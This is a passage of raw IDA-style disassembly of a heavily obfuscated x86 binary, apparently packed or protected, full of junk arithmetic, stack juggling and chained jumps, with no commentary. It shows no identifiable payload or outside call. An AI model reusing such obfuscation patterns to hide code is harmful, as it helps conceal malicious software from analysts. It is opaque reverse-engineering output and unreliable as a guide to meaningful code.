00000002 BYTES ; FUNCTION CHUNK AT 005A4AFB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A50FE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A66AC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AAD9D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC91F SIZE 00000008 BYTES sub esp, 4 jmp loc_5AC91F sub_5A3B60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A3B68: ; CODE XREF: sub_59FE51+48AEj add ebx, edx jmp loc_59F4EF ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2166 loc_5A3B6F: ; CODE XREF: sub_5AD243-13D73j ; sub_5A2166+CAD6j push ecx mov ecx, 13A32EA0h add [esp+4+arg_0], ecx pop ecx jmp sub_5A66D6 ; END OF FUNCTION CHUNK FOR sub_5A2166 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3B7F: ; CODE XREF: sub_5AA2D1+29BAj jmp sub_5AAD97 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_5A3B84: ; CODE XREF: sub_599884+16471j xor edx, 68703542h sub edx, 0FF11F685h add ebp, edx pop edx xor ebp, 8CFCBCEEh jmp loc_5ABEC2 ; END OF FUNCTION CHUNK FOR sub_599884 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_5A3B9E: ; CODE XREF: sub_5A2F58+83Cj xor ch, 8Dh push bx mov bh, 2Eh sub al, bh pop bx sub al, 2 add al, ch add al, 2 jmp loc_5AECF6 ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A3BB4: ; CODE XREF: sub_59EE3E:loc_5A45ABj sub edx, 1F783A37h jmp loc_5A701B ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A3BBF: ; CODE XREF: sub_5A580F-5822j mov edi, 62547DF8h add esi, edi pop edi mov edx, [esp+8+var_8] add esp, 4 push ebp jmp loc_59E294 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A3BD3: ; CODE XREF: sub_5A0AA2+57A4j pop esi sub ebp, edi pop edi push ebx mov ebx, 0D361F7E5h xor ebp, ebx pop ebx jmp loc_5A0A1F ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A3BE5: ; CODE XREF: sub_5A5824+16BFj mov [esp+8+var_8], ebx mov ebx, 5D9A2262h sub ebx, 38EE7C32h add ebx, 5E1774D5h jmp loc_5A131E ; END OF FUNCTION CHUNK FOR sub_5A5824 ; =============== S U B R O U T I N E ======================================= sub_5A3BFE proc near ; CODE XREF: sub_5AA2D1-7808j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0059E277 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A35AE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A6509 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A8037 SIZE 00000023 BYTES push ebx mov ebx, 0B2D6858h jmp loc_5A6509 sub_5A3BFE endp ; --------------------------------------------------------------------------- loc_5A3C09: ; CODE XREF: sdfs____:005AC06Ej mov esi, 0E4215674h xor ecx, esi pop esi or ebp, ecx pop ecx jmp loc_59B788 ; =============== S U B R O U T I N E ======================================= sub_5A3C19 proc near ; CODE XREF: sub_59C979+402Fj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059B264 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059BF25 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059C66D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059EA30 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059FDFE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A33F2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A9494 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AB17F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005ABB22 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005ABF5B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD4CC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AE3E1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005B024C SIZE 0000001A BYTES push ebp mov ebp, 66D33E95h mov ebx, 0A80FCB7Eh add ebx, ebp pop ebp neg ebx inc ebx sub ebx, 71E3608Bh inc ebx dec ebx jmp loc_59EA30 sub_5A3C19 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A3C37: ; CODE XREF: sub_5A2E41+61j mov [esp+0Ch+var_C], esp jmp loc_59EB19 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A3C3F: ; CODE XREF: sub_59CBE1+EBBBj pop [esp-0Ch+arg_8] mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], edi jmp loc_5AC3A6 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A3C4D: ; CODE XREF: sub_5A63DC-3E7Dj mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebx xor ebx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A3C6F: ; CODE XREF: sub_5AF294-8F46j xor ecx, 8AF4A4BFh jmp loc_5ABEB2 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- loc_5A3C7A: ; CODE XREF: sdfs____:005A0171j neg eax or eax, 0EEE41C9h jmp loc_59A7CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A3C86: ; CODE XREF: sub_5A6BBC+D25j and edi, 0BFB0A92h xor edi, 5BAA540Ah dec edi jmp loc_59E5F7 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A3C98: ; CODE XREF: sub_5AAB66-8407j push 56F2h jmp loc_59C19E ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3CA2: ; CODE XREF: sub_5AA2D1-636j push dword ptr [esp+0] mov eax, [esp+2+var_4+2] add esp, 4 jmp loc_5A8CB3 ; --------------------------------------------------------------------------- loc_5A3CB3: ; CODE XREF: sub_5AA2D1-356Ej add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp add eax, edi pop edi xchg eax, [esp-0Ah+arg_4+2] mov esp, [esp-0Ah+arg_4+2] ror byte ptr [esp-0Ah+arg_4+2], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A3CD2: ; CODE XREF: sdfs____:005AA0BDj xor dl, 39h jmp loc_5AA8BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_5A3CDA: ; CODE XREF: sub_5AE7B8-A84Cj mov [esp+0], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_5AA0E5 ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A3CED: ; CODE XREF: sub_5A9EBF-94A5j neg esi shr esi, 8 neg esi jmp loc_59BB62 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_5A3CF9 proc near ; CODE XREF: sub_5A35F6-6C0j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059D3B7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059DDD7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A147D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A9098 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADDC8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005B01A0 SIZE 00000009 BYTES push ebp mov ebp, 4 add edx, ebp pop ebp jmp $+5 push 72C0h jmp loc_5A147D sub_5A3CF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5A3D11: ; CODE XREF: sub_59F463+6j mov ecx, 2 sub edx, ecx push [esp+4+var_4] pop ecx sub esp, 4 mov [esp+8+var_8], eax push esp jmp loc_5ABA38 ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3D28: ; CODE XREF: sub_59D6B8+C850j pop edi add edi, 4 push 2D40h mov [esp-8+arg_4], ecx jmp loc_5A92D8 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3D3C: ; CODE XREF: sub_5AA2D1-DEAj mov esi, [esp-6+arg_0+2] add esp, 4 jmp loc_59EF13 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_5A3D4A: ; CODE XREF: sub_5AB3DB:loc_5ACC65j dec eax not eax jmp loc_59E8FD ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_59D268 ; =============== S U B R O U T I N E ======================================= sub_5A3D5B proc near ; CODE XREF: sub_5ABEF6+1ECDj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059F46E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A3DDA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A447F SIZE 00000023 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 4DF9684Eh mov edx, ebp mov ebp, [esp+4+var_4] add esp, 4 add ebx, edx mov edx, [esp+0] jmp loc_5A3DDA sub_5A3D5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5A3D78: ; CODE XREF: sub_5A81C4+71A0j pop esp sub esp, 4 jmp loc_5AF629 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5A3D81: ; CODE XREF: sub_599A6F+29BBj pop dx sub al, 0E5h add al, 26h add al, bh sub al, 26h sub esp, 4 mov [esp], ebx mov bh, 88h jmp loc_5A159F ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5A3D98: ; CODE XREF: sub_5B0377-127BCj xor [esp+0], al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A1F28 loc_5A3DA1: ; CODE XREF: sub_5A1F28+179Cj pop ebx xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+0], esp add dword ptr [esp+0], 4 push dword ptr [esp+0] push [esp+4+var_4] pop esi add esp, 4 jmp loc_59A1A3 ; END OF FUNCTION CHUNK FOR sub_5A1F28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A3DC1: ; CODE XREF: sub_5A7BA0-47Bj pop esp mov [esp-8+arg_4], ebp push 1EEBh mov [esp-4+arg_0], eax jmp loc_59C745 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A3DD2: ; CODE XREF: sub_5AC18D-731j mov esp, [esp+8+var_8] jmp loc_5A35A9 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3D5B loc_5A3DDA: ; CODE XREF: sub_5A3D5B+18j add esp, 4 jmp loc_5A447F ; END OF FUNCTION CHUNK FOR sub_5A3D5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A3DE5: ; CODE XREF: sub_5A4D9D+A537j pop esp mov [esp+8+var_8], ebx mov ebx, 5443147Ch shr ebx, 1 not ebx inc ebx xor ebx, 5EBA4AAEh sub ebx, 1 push esi push ecx jmp sub_5A118F ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3E06: ; CODE XREF: sub_5AA2D1-9AEBj ; sub_5A3BFE+4457j add esi, ebx pop ebx jmp loc_5AFF49 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8931 loc_5A3E0E: ; CODE XREF: sub_5A8931-EBCCj mov eax, 0E4D26DBh add esi, eax pop eax jmp loc_5A920F ; END OF FUNCTION CHUNK FOR sub_5A8931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5330 loc_5A3E1B: ; CODE XREF: sub_5A5330-6506j mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ecx, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp+10h+var_10], eax mov eax, 43997E28h sub eax, 43997E24h add ecx, eax jmp loc_5AB26B ; END OF FUNCTION CHUNK FOR sub_5A5330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AD5D loc_5A3E48: ; CODE XREF: sub_59AD5D+Ej add al, 0F0h mov bx, [esp+2+var_2] add esp, 2 add al, 0A1h add al, bl sub esp, 4 mov dword ptr [esp+2+var_2], ecx push eax mov ah, 0DDh push edx jmp loc_5A3244 ; END OF FUNCTION CHUNK FOR sub_59AD5D ; =============== S U B R O U T I N E ======================================= sub_5A3E64 proc near ; CODE XREF: sub_5AA2D1-8153j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005996CE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599A55 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059A818 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059B101 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059E3EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059E44D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E72B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A234C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A83E2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A9B50 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE34A SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005AE4B5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE65F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AECD2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AF116 SIZE 00000023 BYTES push ebp mov ebp, 4 sub edi, ebp mov ebp, [esp+4+var_4] add esp, 4 xchg edi, [esp+0] pop esp mov [esp-4+arg_0], ebp mov ebp, esp push eax jmp loc_5AE4B5 sub_5A3E64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_5A3E81: ; CODE XREF: sub_5A9B1D-88B2j pop edi or ecx, 40AA0E79h or ecx, 2298273Dh sub ecx, 76BA3F79h add ebp, 71EF489Ch add ebp, ecx sub ebp, 71EF489Ch mov ecx, [esp+0] add esp, 4 push 1266h jmp loc_5AA434 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A3EB5: ; CODE XREF: sub_5992DA+985Cj mov [esp+30h+var_32+2], edi push 0D7C2524h push dword ptr [esp+0] pop edi jmp loc_5AAE1F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3EC6: ; CODE XREF: sub_59D6B8-82Aj mov esp, [esp+8+var_8] mov cx, word ptr [esp+8+var_8] push 79F5h mov [esp+0Ch+var_C], edx jmp sub_5AAB66 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A3EDA: ; CODE XREF: sub_5A18F6+45C2j and edx, 215A5A8Eh xor edx, 70D348A2h sub edx, 689C4E76h push ebp push 67830DFDh pop ebp and ebp, 6FE707C5h jo loc_5A373C add ebp, 0E174FFFh jbe loc_5AFF49 jmp sub_5AF9B3 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A3F10: ; CODE XREF: sub_5A79BE+3B8Dj sub esi, 9BD4ECFh jmp loc_5A937C ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A3F1B: ; CODE XREF: sub_5A4E04+51B7j sub ebx, 772E0649h jmp loc_59F9BD ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A3F26: ; CODE XREF: sub_59EE3E+832Cj xor [esp+4+var_4], eax xor eax, [esp+4+var_4] mov esp, [esp+4+var_4] sub bl, 0BEh push ax mov al, 51h add bl, al mov ax, word ptr [esp+6+var_8+2] jmp loc_5B035B ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- loc_5A3F41: ; CODE XREF: sdfs____:005A7BD4j pop eax push small 3B98h mov [esp], ax jmp loc_5AC531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A3F4F: ; CODE XREF: sub_5A9EC5+CABj pop dx sub ch, 73h push 6248h mov [esp+0Ch+var_C], ebx mov bh, 0D7h jmp loc_5A8344 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE7B8 loc_5A3F63: ; CODE XREF: sub_5AE7B8-14EB1j add esp, 4 sub esp, 4 jmp loc_5A3CDA ; END OF FUNCTION CHUNK FOR sub_5AE7B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5A3F71: ; CODE XREF: sub_59B4A0-41Ej sub esi, 0FFFFFFFFh and esi, 1DBE1D55h neg esi xor esi, 4D2C310Dh jmp loc_5A4241 ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A3F87: ; CODE XREF: sub_5A0FFF+26B9j pop edi push ebx mov ebx, 68F22EF1h add ebp, ebx pop ebx add ebp, edx sub ebp, 68F22EF1h pop edx not ebp dec ebp jns loc_5A8ACE jmp loc_5A91DD ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A3FA8: ; CODE XREF: sub_5992DA+3622j xchg edx, [esp+0] jmp loc_59F1A0 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3FB0: ; CODE XREF: sub_5AA2D1-3770j sub ebx, 2B2606BDh sub ebx, ecx add ebx, 2B2606BDh pop ecx add ebx, 2B111881h sub ebx, eax sub ebx, 2B111881h add ebx, 1BBE1CCFh add ebx, 4177C40h pop eax push 7909h mov [esp-18h+arg_14], edx mov edx, 337D2E88h not edx jmp loc_59A057 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3FEE: ; CODE XREF: sub_59D6B8+12FEj mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop ecx jmp loc_5A5CAD ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3FFE: ; CODE XREF: sub_5AA2D1-757Dj add bh, 0D7h jo sub_5ACB83 jmp loc_5A0DBA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A400C: ; CODE XREF: sub_5ABB65-981Ej add ebx, ebp pop ebp push [esp+8+var_8] push [esp+0Ch+var_C] pop edx add esp, 4 push esi push esp jmp loc_5A481C ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_5A4020: ; CODE XREF: sub_5AF46F-E8ECj pop eax pop [esp+4+var_4] pop esp mov fs:[edx], ax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A402E: ; CODE XREF: sub_5A9EBF+51D4j push eax jmp loc_5AF5F0 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A4034: ; CODE XREF: sub_5A6BBC-8191j pop [esp+4+var_4] jmp loc_5A6384 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE824 loc_5A403C: ; CODE XREF: sub_5AE824-8337j xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] mov esp, [esp+0] or [esp-4+arg_0], al pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AE824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A4051: ; CODE XREF: sub_59A479+144D7j add [esp+8+var_4], 6C441981h pop edi jmp loc_5A3382 ; END OF FUNCTION CHUNK FOR sub_59A479 ; =============== S U B R O U T I N E ======================================= sub_5A405F proc near ; CODE XREF: sub_5A503A-2EEAj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 005993FC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059A340 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A2878 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A7615 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7803 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005ACD68 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE783 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AF051 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 76891ACAh or ecx, edi mov edi, [esp+4+var_4] push edx jmp loc_5AF051 sub_5A405F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A4075: ; CODE XREF: sub_5A477C-7C3Cj sub ebp, edi pop edi jmp loc_5AB9CB ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A407D: ; CODE XREF: sub_5A16B8-7431j neg edx xor edx, 3CC83678h xor edx, 2C5621FEh jmp loc_59F140 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A4090: ; CODE XREF: sub_59F1C3-46C9j ; sub_5AFD37-12485j pop esp jmp loc_5ADA42 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A28E3 loc_5A4096: ; CODE XREF: sub_5A28E3+DB5Fj mov [esp+0], ebx pop edx push edx push edi mov edi, 48E53233h add [esp+4], edi pop edi pop eax jmp loc_5AFC57 ; END OF FUNCTION CHUNK FOR sub_5A28E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A40AC: ; CODE XREF: sub_5A63DC-9952j sub esi, 4FF45313h push [esp+8+var_8] pop ebx jmp sub_5996E4 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A40BB: ; CODE XREF: sub_59D18A+5C1Cj pop esp push esi jmp loc_5A9049 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A40C2: ; CODE XREF: sub_5ABEF6-77BBj shr ebp, 8 push ecx jmp loc_5A2C8A ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3947 loc_5A40CB: ; CODE XREF: sub_5A3947+Fj add esp, 4 push edi mov edi, 1 sub ebx, edi pop edi add ebx, 0B66ECCD8h add eax, 2FB51462h add eax, ebx sub eax, 2FB51462h pop ebx and eax, 76320A19h not eax push ebp mov ebp, 292A12DAh or eax, ebp pop ebp push esi push 67D70488h pop esi and eax, esi pop esi jmp loc_59D51F ; END OF FUNCTION CHUNK FOR sub_5A3947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A4109: ; CODE XREF: sub_5B01F7-8E82j mov [esp+18h+var_18], eax push 28F6296Dh pop eax dec eax jle loc_5A9D7A xor eax, 4B7820B6h jg loc_5A8878 shr eax, 2 jnp loc_5AF60D jg loc_59E861 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A4133: ; CODE XREF: sub_5992DA+12671j mov edx, ebp pop ebp sub edx, ebp push [esp+30h+var_32+2] jmp loc_5A7DBE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A4140: ; CODE XREF: sub_5B01F7-108EDj sub ecx, 2A1BB1DCh add eax, ecx pop ecx pop ecx add ecx, 71AA6FBDh add ecx, eax sub ecx, 71AA6FBDh jmp loc_5A2F3B ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A415D: ; CODE XREF: sub_5AA2D1+2211j xchg edi, [esp-6+arg_0+2] pop esp push [esp-0Ah+arg_4+2] pop ecx jmp loc_59C446 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F336 loc_5A416A: ; CODE XREF: sub_59F336+3j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59F336 ; =============== S U B R O U T I N E ======================================= sub_5A416F proc near ; CODE XREF: sub_5AA2D1+6AEj ; FUNCTION CHUNK AT 0059E2F9 SIZE 0000000D BYTES push ebp jmp loc_59E2F9 sub_5A416F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5956 loc_5A4175: ; CODE XREF: sub_5AC803-9F3Aj ; sub_5A5956+Dj pop esi add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp+0] jmp loc_59F943 ; END OF FUNCTION CHUNK FOR sub_5A5956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A418D: ; CODE XREF: sub_5992DA-1C8j push cx push 6A72h mov [esp+6+var_6], edx push eax mov ah, 5 mov dh, ah mov eax, [esp+0Ah+var_C+2] jmp loc_59A01F ; --------------------------------------------------------------------------- loc_5A41A4: ; CODE XREF: sub_5992DA+1E4j add esp, 4 pop eax and eax, edi pop edi or eax, eax jz loc_5AD698 push dword ptr [edi+1Ch] push [esp+4+var_6+2] push dword ptr [esp] mov ecx, [esp+0Ch+var_C] add esp, 4 push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push edx mov edx, esp push 40ACh jmp loc_5A6B27 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A41EA: ; CODE XREF: sub_5AA2D1-8DF1j pop eax sub edi, 0D770973h add edi, esi add edi, 0D770973h mov esi, [esp-8+arg_4] add esp, 4 jmp loc_59B5D7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A4207: ; CODE XREF: sub_5A477C+7327j add edi, 633E61DEh push esi push ebx push 2C257386h pop ebx sub 